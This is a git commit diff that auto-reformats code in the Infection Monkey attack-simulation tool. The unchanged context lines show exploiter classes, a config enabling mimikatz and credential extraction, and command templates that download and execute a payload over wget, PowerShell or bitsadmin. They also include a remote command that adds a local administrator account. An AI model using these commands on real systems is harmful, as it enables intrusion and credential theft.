Auto reformat all code

This commit is contained in:
Shay Nehmad 2019-10-28 21:11:05 +02:00
parent d69976f4b5
commit 40494d3c3c
147 changed files with 1370 additions and 1150 deletions

View File

@ -114,7 +114,7 @@ class MonkeyDrops(object):
except OSError: except OSError:
LOG.warning("Cannot set reference date to destination file") LOG.warning("Cannot set reference date to destination file")
monkey_options =\ monkey_options = \
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth) build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
if OperatingSystem.Windows == SystemInfoCollector.get_os(): if OperatingSystem.Windows == SystemInfoCollector.get_os():

View File

@ -1,109 +1,109 @@
{ {
"should_exploit": true, "should_exploit": true,
"command_servers": [ "command_servers": [
"192.0.2.0:5000" "192.0.2.0:5000"
], ],
"internet_services": [ "internet_services": [
"monkey.guardicore.com", "monkey.guardicore.com",
"www.google.com" "www.google.com"
], ],
"keep_tunnel_open_time": 60, "keep_tunnel_open_time": 60,
"subnet_scan_list": [ "subnet_scan_list": [
], ],
"inaccessible_subnets": [], "inaccessible_subnets": [],
"blocked_ips": [], "blocked_ips": [],
"current_server": "192.0.2.0:5000", "current_server": "192.0.2.0:5000",
"alive": true, "alive": true,
"collect_system_info": true, "collect_system_info": true,
"extract_azure_creds": true, "extract_azure_creds": true,
"should_use_mimikatz": true, "should_use_mimikatz": true,
"depth": 2, "depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_date_reference_path_linux": "/bin/sh", "dropper_date_reference_path_linux": "/bin/sh",
"dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562", "dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true, "dropper_set_date": true,
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
"monkey_dir_name": "monkey_dir", "monkey_dir_name": "monkey_dir",
"kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not", "kill_file_path_windows": "%windir%\\monkey.not",
"dropper_try_move_first": true, "dropper_try_move_first": true,
"exploiter_classes": [ "exploiter_classes": [
"SSHExploiter", "SSHExploiter",
"SmbExploiter", "SmbExploiter",
"WmiExploiter", "WmiExploiter",
"ShellShockExploiter", "ShellShockExploiter",
"ElasticGroovyExploiter", "ElasticGroovyExploiter",
"SambaCryExploiter", "SambaCryExploiter",
"Struts2Exploiter", "Struts2Exploiter",
"WebLogicExploiter", "WebLogicExploiter",
"HadoopExploiter", "HadoopExploiter",
"VSFTPDExploiter", "VSFTPDExploiter",
"MSSQLExploiter" "MSSQLExploiter"
], ],
"finger_classes": [ "finger_classes": [
"SSHFinger", "SSHFinger",
"PingScanner", "PingScanner",
"HTTPFinger", "HTTPFinger",
"SMBFinger", "SMBFinger",
"MySQLFinger", "MySQLFinger",
"MSSQLFingerprint", "MSSQLFingerprint",
"ElasticFinger" "ElasticFinger"
], ],
"max_iterations": 3, "max_iterations": 3,
"monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_windows": "%temp%\\~df1563.tmp",
"monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_linux": "/tmp/user-1563",
"send_log_to_server": true, "send_log_to_server": true,
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"user_to_add": "Monkey_IUSER_SUPPORT", "user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!", "remote_user_pass": "Password1!",
"ping_scan_timeout": 10000, "ping_scan_timeout": 10000,
"smb_download_timeout": 300, "smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey", "smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true, "retry_failed_explotation": true,
"self_delete_in_cleanup": true, "self_delete_in_cleanup": true,
"serialize_config": false, "serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": false, "skip_exploit_if_file_exist": false,
"exploit_user_list": [], "exploit_user_list": [],
"exploit_password_list": [], "exploit_password_list": [],
"exploit_lm_hash_list": [], "exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [], "exploit_ntlm_hash_list": [],
"exploit_ssh_keys": [], "exploit_ssh_keys": [],
"sambacry_trigger_timeout": 5, "sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"], "sambacry_shares_not_to_check": ["IPC$", "print$"],
"local_network_scan": false, "local_network_scan": false,
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 0, "tcp_scan_interval": 0,
"tcp_scan_timeout": 10000, "tcp_scan_timeout": 10000,
"tcp_target_ports": [ "tcp_target_ports": [
22, 22,
445, 445,
135, 135,
3389, 3389,
80, 80,
8080, 8080,
443, 443,
3306, 3306,
8008, 8008,
9200, 9200,
7001, 7001,
8088 8088
], ],
"timeout_between_iterations": 10, "timeout_between_iterations": 10,
"use_file_logging": true, "use_file_logging": true,
"victims_max_exploit": 15, "victims_max_exploit": 15,
"victims_max_find": 100, "victims_max_find": 100,
"post_breach_actions" : [] "post_breach_actions": []
custom_PBA_linux_cmd = "" custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = "" custom_PBA_windows_cmd = ""
PBA_linux_filename = None PBA_linux_filename = None
PBA_windows_filename = None PBA_windows_filename = None
} }

View File

@ -8,7 +8,7 @@ import json
import logging import logging
import requests import requests
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX, \
DOWNLOAD_TIMEOUT DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.network.elasticfinger import ES_PORT
from common.data.network_consts import ES_SERVICE from common.data.network_consts import ES_SERVICE
@ -83,7 +83,7 @@ class ElasticGroovyExploiter(WebRCE):
# Overridden web_rce method that adds CMD prefix for windows command # Overridden web_rce method that adds CMD prefix for windows command
try: try:
if 'windows' in self.host.os['type']: if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND)
else: else:
resp = self.exploit(url, CHECK_COMMAND) resp = self.exploit(url, CHECK_COMMAND)
if resp is True: if resp is True:

View File

@ -17,7 +17,6 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = 'MSSQL' _EXPLOITED_SERVICE = 'MSSQL'
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
@ -143,7 +142,7 @@ class MSSQLExploiter(HostExploiter):
def get_monkey_download_command(self): def get_monkey_download_command(self):
dst_path = get_monkey_dest_path(self.monkey_server.http_path) dst_path = get_monkey_dest_path(self.monkey_server.http_path)
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\ monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND. \
format(http_path=self.monkey_server.http_path, dst_path=dst_path) format(http_path=self.monkey_server.http_path, dst_path=dst_path)
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path) suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
@ -192,5 +191,5 @@ class MSSQLLimitedSizePayload(LimitedSizePayload):
def __init__(self, command, prefix="", suffix=""): def __init__(self, command, prefix="", suffix=""):
super(MSSQLLimitedSizePayload, self).__init__(command=command, super(MSSQLLimitedSizePayload, self).__init__(command=command,
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix, prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END) suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END)

View File

@ -132,7 +132,7 @@ class ShellShockExploiter(HostExploiter):
self._remove_lock_file(exploit, url, header) self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or ( if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): 'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
continue continue

View File

@ -1,5 +1,3 @@
class ExploitingVulnerableMachineError(Exception): class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable""" """ Raise when exploiter failed, but machine is vulnerable"""
pass pass

View File

@ -74,7 +74,7 @@ def get_target_monkey(host):
if host.os.get('type') == platform.system().lower(): if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower(): host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable monkey_path = sys.executable
return monkey_path return monkey_path

View File

@ -49,7 +49,7 @@ class LimitedSizePayload(Payload):
"exceeds required length of command.") "exceeds required length of command.")
elif self.command == "": elif self.command == "":
return [self.prefix+self.suffix] return [self.prefix + self.suffix]
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
commands = [self.get_payload(part) commands = [self.get_payload(part)
for part for part

View File

@ -12,6 +12,7 @@ from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.config import Configuration from infection_monkey.config import Configuration
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
import threading import threading
import logging import logging
import time import time
@ -13,7 +12,6 @@ from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.info import get_free_tcp_port
from http.server import BaseHTTPRequestHandler, HTTPServer from http.server import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -34,7 +32,6 @@ HEADERS = {
class WebLogicExploiter(HostExploiter): class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows'] _TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic' _EXPLOITED_SERVICE = 'Weblogic'

View File

@ -162,11 +162,11 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self): def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \ if self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in list(self._windows_versions.keys()): self.host.os.get('version') in list(self._windows_versions.keys()):
return True return True
if not self.host.os.get('type') or ( if not self.host.os.get('type') or (
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')): self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
@ -193,9 +193,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user {} {} /add) &&" sock.send("cmd /c (net user {} {} /add) &&"
" (net localgroup administrators {} /add)\r\n".format( " (net localgroup administrators {} /add)\r\n".format(
self._config.user_to_add, self._config.user_to_add,
self._config.remote_user_pass, self._config.remote_user_pass,
self._config.user_to_add).encode()) self._config.user_to_add).encode())
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)

View File

@ -122,4 +122,3 @@ class WmiExploiter(HostExploiter):
return success return success
return False return False

View File

@ -5,14 +5,14 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
ID_STRING = "M0NK3Y3XPL0ITABLE" ID_STRING = "M0NK3Y3XPL0ITABLE"
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG,)
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG,)
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG,)
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, ) '/c %%(monkey_path)s %s"' % (MONKEY_ARG,)
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \ DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
'file_path)s exit)) > NUL 2>&1 ' 'file_path)s exit)) > NUL 2>&1 '
@ -33,12 +33,12 @@ GET_ARCH_LINUX = "lscpu"
# All in one commands (upload, change permissions, run) # All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \ "&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \ "; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s" "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 180 DOWNLOAD_TIMEOUT = 180

View File

@ -182,7 +182,7 @@ class InfectionMonkey(object):
if self._default_server: if self._default_server:
if self._network.on_island(self._default_server): if self._network.on_island(self._default_server):
machine.set_default_server(get_interface_to_target(machine.ip_addr) + machine.set_default_server(get_interface_to_target(machine.ip_addr) +
(':'+self._default_server_port if self._default_server_port else '')) (':' + self._default_server_port if self._default_server_port else ''))
else: else:
machine.set_default_server(self._default_server) machine.set_default_server(self._default_server)
LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server))

View File

@ -13,7 +13,6 @@ from requests import ConnectionError
from common.network.network_range import CidrRange from common.network.network_range import CidrRange
from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.environment import is_windows_os
# Timeout for monkey connections # Timeout for monkey connections
TIMEOUT = 15 TIMEOUT = 15
LOOPBACK_NAME = b"lo" LOOPBACK_NAME = b"lo"

View File

@ -12,7 +12,6 @@ LOG = logging.getLogger(__name__)
class MSSQLFinger(HostFinger): class MSSQLFinger(HostFinger):
# Class related consts # Class related consts
SQL_BROWSER_DEFAULT_PORT = 1434 SQL_BROWSER_DEFAULT_PORT = 1434
BUFFER_SIZE = 4096 BUFFER_SIZE = 4096

View File

@ -11,7 +11,6 @@ BANNER_READ = 1024
class TcpScanner(HostScanner, HostFinger): class TcpScanner(HostScanner, HostFinger):
_SCANNED_SERVICE = 'unknown(TCP)' _SCANNED_SERVICE = 'unknown(TCP)'
def __init__(self): def __init__(self):

View File

@ -27,6 +27,7 @@ class UsersPBA(PBA):
""" """
Defines user's configured post breach action. Defines user's configured post breach action.
""" """
def __init__(self): def __init__(self):
super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION)
self.filename = '' self.filename = ''

View File

@ -7,7 +7,6 @@ from infection_monkey.utils.environment import is_windows_os
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
from infection_monkey.telemetry.attack.t1064_telem import T1064Telem from infection_monkey.telemetry.attack.t1064_telem import T1064Telem
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
@ -19,6 +18,7 @@ class PBA(object):
""" """
Post breach action object. Can be extended to support more than command execution on target machine. Post breach action object. Can be extended to support more than command execution on target machine.
""" """
def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
""" """
:param name: Name of post breach action. :param name: Name of post breach action.

View File

@ -16,6 +16,7 @@ class PostBreach(object):
""" """
This class handles post breach actions execution This class handles post breach actions execution
""" """
def __init__(self): def __init__(self):
self.os_is_linux = not is_windows_os() self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list() self.pba_list = self.config_to_pba_list()

View File

@ -1,7 +1,6 @@
import os import os
import sys import sys
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -26,4 +26,3 @@ class LinuxInfoCollector(InfoCollector):
super(LinuxInfoCollector, self).get_info() super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info() self.info['ssh_info'] = SSHCollector.get_info()
return self.info return self.info

View File

@ -1,6 +1,7 @@
import os import os
import logging import logging
import sys import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config import infection_monkey.config

View File

@ -29,4 +29,3 @@ WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"), "DS_whenChanged", "DS_whenCreated"),
} }

View File

@ -5,7 +5,6 @@ from abc import ABCMeta, abstractmethod
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
__author__ = 'itamar' __author__ = 'itamar'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)

View File

@ -1,4 +1,3 @@
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer' __author__ = 'hoffer'

View File

@ -41,13 +41,13 @@ class SocketsPipe(Thread):
except: except:
break break
self._keep_connection = True self._keep_connection = True
self.source.close() self.source.close()
self.dest.close() self.dest.close()
class TcpProxy(TransportProxyBase): class TcpProxy(TransportProxyBase):
def run(self): def run(self):
pipes = [] pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

View File

@ -39,7 +39,6 @@ from monkey_island.cc.resources.test.log_test import LogTest
__author__ = 'Barak' __author__ = 'Barak'
HOME_FILE = 'index.html' HOME_FILE = 'index.html'

View File

@ -2,7 +2,6 @@ import os
import json import json
import logging.config import logging.config
__author__ = 'Maor.Rayzin' __author__ = 'Maor.Rayzin'

View File

@ -1,33 +1,33 @@
{ {
"version": 1, "version": 1,
"disable_existing_loggers": false, "disable_existing_loggers": false,
"formatters": { "formatters": {
"simple": { "simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
} }
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "DEBUG",
"handlers": [
"console",
"info_file_handler"
]
}
} }

View File

@ -13,6 +13,7 @@ if BASE_PATH not in sys.path:
from monkey_island.cc.island_logger import json_setup_logging from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG) default_level=logging.DEBUG)

View File

@ -43,6 +43,7 @@ class Monkey(Document):
tunnel = ReferenceField("self") tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel) command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426. # instance. See https://github.com/guardicore/monkey/issues/426.
@staticmethod @staticmethod

View File

@ -188,4 +188,3 @@ class TestMonkey(IslandTestCase):
cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info()
self.assertEqual(cache_info_after_query.hits, 2) self.assertEqual(cache_info_after_query.hits, 2)

View File

@ -14,6 +14,7 @@ class TestFinding(IslandTestCase):
Also, the working directory needs to be the working directory from which you usually run the island so the Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded. server.json file is found and loaded.
""" """
def test_save_finding_validation(self): def test_save_finding_validation(self):
self.fail_if_not_testing_env() self.fail_if_not_testing_env()
self.clean_finding_db() self.clean_finding_db()

View File

@ -27,4 +27,3 @@ class AttackConfiguration(flask_restful.Resource):
AttackConfig.update_config({'properties': json.loads(request.data)}) AttackConfig.update_config({'properties': json.loads(request.data)})
AttackConfig.apply_to_monkey_config() AttackConfig.apply_to_monkey_config()
return {} return {}

View File

@ -16,6 +16,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak' __author__ = 'Barak'
import logging import logging
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)

View File

@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'
# TODO: separate logic from interface # TODO: separate logic from interface

View File

@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island, "nodes": monkeys + nodes + monkey_island,
"edges": edges "edges": edges
} }

View File

@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
""" """
File download endpoint used by monkey to download user's PBA file File download endpoint used by monkey to download user's PBA file
""" """
# Used by monkey. can't secure. # Used by monkey. can't secure.
def get(self, path): def get(self, path):
return send_from_directory(GET_FILE_DIR, path) return send_from_directory(GET_FILE_DIR, path)

View File

@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
""" """
File upload endpoint used to exchange files with filepond component on the front-end File upload endpoint used to exchange files with filepond component on the front-end
""" """
@jwt_required() @jwt_required()
def get(self, file_type): def get(self, file_type):
""" """

View File

@ -1,6 +1,5 @@
import http.client import http.client
import flask_restful import flask_restful
from flask import jsonify from flask import jsonify
@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
elif report_type == ZERO_TRUST_REPORT_TYPE: elif report_type == ZERO_TRUST_REPORT_TYPE:
if report_data == REPORT_DATA_PILLARS: if report_data == REPORT_DATA_PILLARS:
return jsonify({ return jsonify({
"statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
"pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
"grades": ZeroTrustService.get_pillars_grades() "grades": ZeroTrustService.get_pillars_grades()
} }
) )
elif report_data == REPORT_DATA_PRINCIPLES_STATUS: elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
return jsonify(ZeroTrustService.get_principles_status()) return jsonify(ZeroTrustService.get_principles_status())

View File

@ -37,12 +37,12 @@ class TestJsonRepresentations(TestCase):
# dicts and lists # dicts and lists
self.assertEqual({ self.assertEqual({
"a": [ "a": [
{"ba": obj_id_str, {"ba": obj_id_str,
"bb": obj_id_str} "bb": obj_id_str}
], ],
"b": {"id": obj_id_str} "b": {"id": obj_id_str}
}, },
normalize_obj({ normalize_obj({
"a": [ "a": [
{"ba": bson.objectid.ObjectId(obj_id_str), {"ba": bson.objectid.ObjectId(obj_id_str),

View File

@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code... if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({}) telemetries = mongo.db.telemetry.find({})
else: else:
telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\ telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
\
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)]) telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try: try:

View File

@ -2,7 +2,6 @@ from bson import json_util
import flask_restful import flask_restful
from flask import request from flask import request
from monkey_island.cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database from monkey_island.cc.database import mongo, database

View File

@ -1,4 +1,4 @@
{ {
"server_config": "standard", "server_config": "standard",
"deployment": "develop" "deployment": "develop"
} }

View File

@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ" __author__ = "VakarisZ"
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
